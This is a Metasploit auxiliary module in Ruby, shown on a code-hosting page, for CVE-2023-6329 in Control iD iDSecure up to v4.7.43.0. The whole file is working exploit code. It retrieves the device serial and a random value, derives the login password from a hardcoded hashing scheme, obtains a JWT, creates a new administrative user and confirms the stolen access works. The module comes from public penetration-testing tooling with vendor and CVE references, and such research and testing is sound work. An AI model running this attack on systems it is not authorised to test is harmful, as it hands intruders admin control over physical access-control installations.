Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/idsecure_auth_bypass.rb
Views: 11623
class MetasploitModule < Msf::Auxiliary1include Msf::Exploit::Remote::HttpClient2prepend Msf::Exploit::Remote::AutoCheck3CheckCode = Exploit::CheckCode45def initialize(info = {})6super(7update_info(8info,9'Name' => 'Control iD iDSecure Authentication Bypass (CVE-2023-6329)',10'Description' => %q{11This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows an12unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.13},14'Author' => [15'Michael Heinzl', # MSF Module16'Tenable' # Discovery and PoC17],18'References' => [19['CVE', '2023-6329'],20['URL', 'https://www.tenable.com/security/research/tra-2023-36']21],22'DisclosureDate' => '2023-11-27',23'DefaultOptions' => {24'RPORT' => 30443,25'SSL' => 'True'26},27'License' => MSF_LICENSE,28'Notes' => {29'Stability' => [CRASH_SAFE],30'Reliability' => [REPEATABLE_SESSION],31'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]32}33)34)3536register_options([37OptString.new('NEW_USER', [true, 'The new administrative user to add to the system', Rex::Text.rand_text_alphanumeric(8)]),38OptString.new('NEW_PASSWORD', [true, 'Password for the specified user', Rex::Text.rand_text_alphanumeric(12)])39])40end4142def check43begin44res = send_request_cgi({45'method' => 'GET',46'uri' => normalize_uri(target_uri.path, 'api/util/configUI')47})48rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError49return CheckCode::Unknown50end5152return CheckCode::Unknown unless res&.code == 4015354data = res.get_json_document55version = data['Version']56return CheckCode::Unknown if version.nil?5758print_status('Got version: ' + version)59return CheckCode::Safe unless Rex::Version.new(version) <= Rex::Version.new('4.7.43.0')6061return CheckCode::Appears62end6364def run65# 1) Obtain the serial and passwordRandom66res = send_request_cgi(67'method' => 'GET',68'uri' => normalize_uri(target_uri.path, 'api/login/unlockGetData')69)7071unless res72fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')73end74unless res.code == 20075fail_with(Failure::UnexpectedReply, res.to_s)76end7778json = res.get_json_document79unless json.key?('passwordRandom') && json.key?('serial')80fail_with(Failure::UnexpectedReply, 'Unable to retrieve passwordRandom and serial')81end8283password_random = json['passwordRandom']84serial = json['serial']85print_good('Retrieved passwordRandom: ' + password_random)86print_good('Retrieved serial: ' + serial)8788# 2) Create passwordCustom89sha1_hash = Digest::SHA1.hexdigest(serial)90combined_string = sha1_hash + password_random + 'cid2016'91sha256_hash = Digest::SHA256.hexdigest(combined_string)92short_hash = sha256_hash[0, 6]93password_custom = short_hash.to_i(16).to_s94print_status("Created passwordCustom: #{password_custom}")9596# 3) Login with passwordCustom and passwordRandom to obtain a JWT97body = "{\"passwordCustom\": \"#{password_custom}\", \"passwordRandom\": \"#{password_random}\"}"9899res = send_request_cgi({100'method' => 'POST',101'ctype' => 'application/json',102'uri' => normalize_uri(target_uri.path, 'api/login/'),103'data' => body104})105106unless res107fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')108end109unless res.code == 200110fail_with(Failure::UnexpectedReply, res.to_s)111end112113json = res.get_json_document114unless json.key?('accessToken')115fail_with(Failure::UnexpectedReply, 'Did not receive JWT')116end117118access_token = json['accessToken']119print_good('Retrieved JWT: ' + access_token)120121# 4) Add a new administrative user122body = {123idType: '1',124name: datastore['NEW_USER'],125user: datastore['NEW_USER'],126newPassword: datastore['NEW_PASSWORD'],127password_confirmation: datastore['NEW_PASSWORD']128}.to_json129130res = send_request_cgi({131'method' => 'POST',132'ctype' => 'application/json',133'headers' => {134'Authorization' => "Bearer #{access_token}"135},136'uri' => normalize_uri(target_uri.path, 'api/operator/'),137'data' => body138})139140unless res141fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')142end143144unless res.code == 200145fail_with(Failure::UnexpectedReply, res.to_s)146end147148json = res.get_json_document149unless json.key?('code') && json['code'] == 200 && json.key?('error') && json['error'] == 'OK'150fail_with(Failure::UnexpectedReply, 'Received unexpected value for code and/or error:\n' + json.to_s)151end152153# 5) Confirm credentials work154body = {155username: datastore['NEW_USER'],156password: datastore['NEW_PASSWORD'],157passwordCustom: nil158}.to_json159160res = send_request_cgi({161'method' => 'POST',162'ctype' => 'application/json',163'uri' => normalize_uri(target_uri.path, 'api/login/'),164'data' => body165})166167unless res168fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')169end170171unless res.code == 200172fail_with(Failure::UnexpectedReply, res.to_s)173end174175json = res.get_json_document176unless json.key?('accessToken') && json.key?('unlock')177fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)178end179180store_valid_credential(user: datastore['NEW_USER'], private: datastore['NEW_PASSWORD'], proof: json.to_s)181print_good("New user '#{datastore['NEW_USER']}:#{datastore['NEW_PASSWORD']}' was successfully added.")182print_good("Login at: #{full_uri(normalize_uri(target_uri, '#/login'))}")183end184end185186187